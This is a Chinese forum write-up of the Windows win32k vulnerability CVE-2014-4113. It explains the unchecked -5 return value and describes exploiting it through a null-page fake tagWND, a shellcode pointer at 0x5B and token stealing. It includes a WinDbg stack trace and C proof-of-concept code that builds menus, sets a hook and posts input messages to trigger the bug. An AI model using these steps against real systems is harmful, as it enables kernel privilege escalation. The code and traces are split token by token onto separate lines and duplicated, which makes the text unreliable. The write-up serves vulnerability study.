-
-
[原创]Windows UAF 漏洞分析CVE-2014-4113
-
发表于: 2022-12-23 17:31 15711
-
参考链接:
https://bbs.pediy.com/thread-271809.htm
https://www.freebuf.com/vuls/347427.html
https://www.anquanke.com/post/id/84477
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
Win32K!xxxMNFindWindowsFromPoint API函数的返回值是一个win32k!tagWND结构的指针。然而,在调用失败时,该函数会返回错误代码-1和-5。而调用程序在检查返回值的时候,只检查了-1,而没有检查-5,从而出现了执行出错。
同时由于系统本身也没有发现该错误,进而使得该函数将继续默认-5为正确值,同时继续提供一个有效的win32k!tagWND结构的指针;实际上,该函数一直使用的都是错误代码-5(0xfffffffb)。这个代码在执行时,会将-5作为参数传递给Win 32K!xxxSendMessage函数。
Win32K!xxxSendMessage函数。而该函数正好是Win32K!xxxSendMessageTimeout的一个轻量级封装函数。
该漏洞的利用方法:在用户模式地址为0xfffffffb的地方,用ZwAllocateVirtualMemoryAPI函数分配内存空间,并在这个地方存储一个win32k!tagWND结构指针。在内核中,以用户模式访问该结构时,便会引发该漏洞,之后便会执行win32k!tagWND结构里的函数。
运行poc看一下,触发异常转到windbg,
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
查看栈回溯,在ida中定位到漏洞触发地点,与上面所分析的一样
在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环xxxMNLoop,消息处理函数是xxxHandleMenuMessages
xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
xxxMNFindWindowFromPoint函数里的逻辑是从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)(MN_FINDWINDOWFROMPOINT)消息
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
漏洞触发的函数调用流程
内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用fn函数。
在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],即call [0x5B]。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B
该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B,执行shellcode获得权限提升。
POC分析
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
先看main函数内
首先创建了一个主窗口,又新建了两个菜单一个主菜单一个子菜单,并插入了新菜单项,然后调用了SetWindowsHookExA来拦截 1EBh 的消息
模拟事件
SetWindowsHookExA拦截0x1EB消息,SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb
控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用
申请0页内存后写入,shellcode使用TokenSteal即可
00
9b817a64
960395c5
fffffffb
000001ed
002bfc9c
win32k!xxxSendMessageTimeout
+
0xb3
01
9b817a8c
960b92fb
fffffffb
000001ed
002bfc9c
win32k!xxxSendMessage
+
0x28
02
9b817aec
960b8c1f
9b817b0c
00000000
002bfc9c
win32k!xxxHandleMenuMessages
+
0x582
03
9b817b38
960bf8f1
fd6c41e8
9619f580
00000000
win32k!xxxMNLoop
+
0x2c6
04
9b817ba0
960bf9dc
0000001c
00000000
00000000
win32k!xxxTrackPopupMenuEx
+
0x5cd
05
9b817c14
83c851ea
000101b7
00000000
00000000
win32k!NtUserTrackPopupMenuEx
+
0xc3
00
9b817a64
960395c5
fffffffb
000001ed
002bfc9c
win32k!xxxSendMessageTimeout
+
0xb3
01
9b817a8c
960b92fb
fffffffb
000001ed
002bfc9c
win32k!xxxSendMessage
+
0x28
02
9b817aec
960b8c1f
9b817b0c
00000000
002bfc9c
win32k!xxxHandleMenuMessages
+
0x582
03
9b817b38
960bf8f1
fd6c41e8
9619f580
00000000
win32k!xxxMNLoop
+
0x2c6
04
9b817ba0
960bf9dc
0000001c
00000000
00000000
win32k!xxxTrackPopupMenuEx
+
0x5cd
05
9b817c14
83c851ea
000101b7
00000000
00000000
win32k!NtUserTrackPopupMenuEx
+
0xc3
TrackPopupMenu触发漏洞
-
》Menu的消息处理函数xxxHandleMenuMessages
-
》xxxMNFindWindowFromPoint
-
》xxxSendMessage
-
》xxxSendMessageTimeout
-
》xxxSendMessageToClient
-
》SfnOUTDWORDINDWORD
-
》
*
*
KeUserModeCallback
-
》__fnOUTDWORDINDWORD
TrackPopupMenu触发漏洞
-
》Menu的消息处理函数xxxHandleMenuMessages
-
》xxxMNFindWindowFromPoint
-
》xxxSendMessage
-
》xxxSendMessageTimeout
-
》xxxSendMessageToClient
-
》SfnOUTDWORDINDWORD
-
》
*
*
KeUserModeCallback
-
》__fnOUTDWORDINDWORD
main(){
HWND main_wnd
=
CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0
,
0
,
640
,
480
, NULL, NULL, wnd_class.hInstance, NULL);
}
/
/
Creates an empty popup menu
HMENU MenuOne
=
CreatePopupMenu();
MENUITEMINFOA MenuOneInfo
=
{
0
};
/
/
Default size
MenuOneInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
Selects what properties to retrieve
or
set
when GetMenuItemInfo
/
SetMenuItemInfo are called,
in
this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask
=
MIIM_STRING;
BOOL
insertMenuItem
=
InsertMenuItemA(MenuOne,
0
, TRUE, &MenuOneInfo);
HMENU MenuTwo
=
CreatePopupMenu();
MENUITEMINFOA MenuTwoInfo
=
{
0
};
MenuTwoInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
On this window hSubMenu should be included
in
Get
/
SetMenuItemInfo
MenuTwoInfo.fMask
=
(MIIM_STRING | MIIM_SUBMENU);
/
/
The menu
is
a sub menu of the first menu
MenuTwoInfo.hSubMenu
=
MenuOne;
/
/
The contents of the menu item
-
in
this case nothing
MenuTwoInfo.dwTypeData
=
"";
/
/
The length of the menu item text
-
in
the case
1
for
just a single NULL byte
MenuTwoInfo.cch
=
1
;
insertMenuItem
=
InsertMenuItemA(MenuTwo,
0
, TRUE, &MenuTwoInfo);
HHOOK setWindowsHook
=
SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
TrackPopupMenu(
MenuTwo,
/
/
Handle to the menu we want to display,
for
us its the submenu we just created.
0
,
/
/
Options on how the menu
is
aligned, what clicks are allowed etc, we don't care.
0
,
/
/
Horizontal position
-
left hand side
0
,
/
/
Vertical position
-
Top edge
0
,
/
/
Reserved field, has to be
0
main_wnd,
/
/
Handle to the Window which owns the menu
NULL
/
/
This value
is
always ignored...
);
/
/
tidy up the screen
main(){
HWND main_wnd
=
CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0
,
0
,
640
,
480
, NULL, NULL, wnd_class.hInstance, NULL);
}
/
/
Creates an empty popup menu
HMENU MenuOne
=
CreatePopupMenu();
MENUITEMINFOA MenuOneInfo
=
{
0
};
/
/
Default size
MenuOneInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
Selects what properties to retrieve
or
set
when GetMenuItemInfo
/
SetMenuItemInfo are called,
in
this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask
=
MIIM_STRING;
BOOL
insertMenuItem
=
InsertMenuItemA(MenuOne,
0
, TRUE, &MenuOneInfo);
HMENU MenuTwo
=
CreatePopupMenu();
MENUITEMINFOA MenuTwoInfo
=
{
0
};
MenuTwoInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
On this window hSubMenu should be included
in
Get
/
SetMenuItemInfo
MenuTwoInfo.fMask
=
(MIIM_STRING | MIIM_SUBMENU);
/
/
The menu
is
a sub menu of the first menu
MenuTwoInfo.hSubMenu
=
MenuOne;
/
/
The contents of the menu item
-
in
this case nothing
MenuTwoInfo.dwTypeData
=
"";
/
/
The length of the menu item text
-
in
the case
1
for
just a single NULL byte
MenuTwoInfo.cch
=
1
;
insertMenuItem
=
InsertMenuItemA(MenuTwo,
0
, TRUE, &MenuTwoInfo);
HHOOK setWindowsHook
=
SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
TrackPopupMenu(
MenuTwo,
/
/
Handle to the menu we want to display,
for
us its the submenu we just created.
0
,
/
/
Options on how the menu
is
aligned, what clicks are allowed etc, we don't care.
0
,
/
/
Horizontal position
-
left hand side
0
,
/
/
Vertical position
-
Top edge
0
,
/
/
Reserved field, has to be
0
main_wnd,
/
/
Handle to the Window which owns the menu
NULL
/
/
This value
is
always ignored...
);
/
/
tidy up the screen
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/
*
Wait until the window
is
idle
and
then send the messages needed to
'click'
on the submenu to trigger the bug
手动触发按下事件
通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞
*
/
printf(
"WindProc called with message=%d\n"
, msg);
if
(msg
=
=
WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN,
0
);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT,
0
);
PostMessageA(hwnd, WM_LBUTTONDOWN,
0
,
0
);
}
/
/
Just
pass
any
other messages to the default window procedure
return
DefWindowProc(hwnd, msg, wParam, lParam);
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/
*
Wait until the window
is
idle
and
then send the messages needed to
'click'
on the submenu to trigger the bug
手动触发按下事件
通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞
*
/
printf(
"WindProc called with message=%d\n"
, msg);
if
(msg
=
=
WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN,
0
);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT,
0
);
PostMessageA(hwnd, WM_LBUTTONDOWN,
0
,
0
);
}
/
/
Just
pass
any
other messages to the default window procedure
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!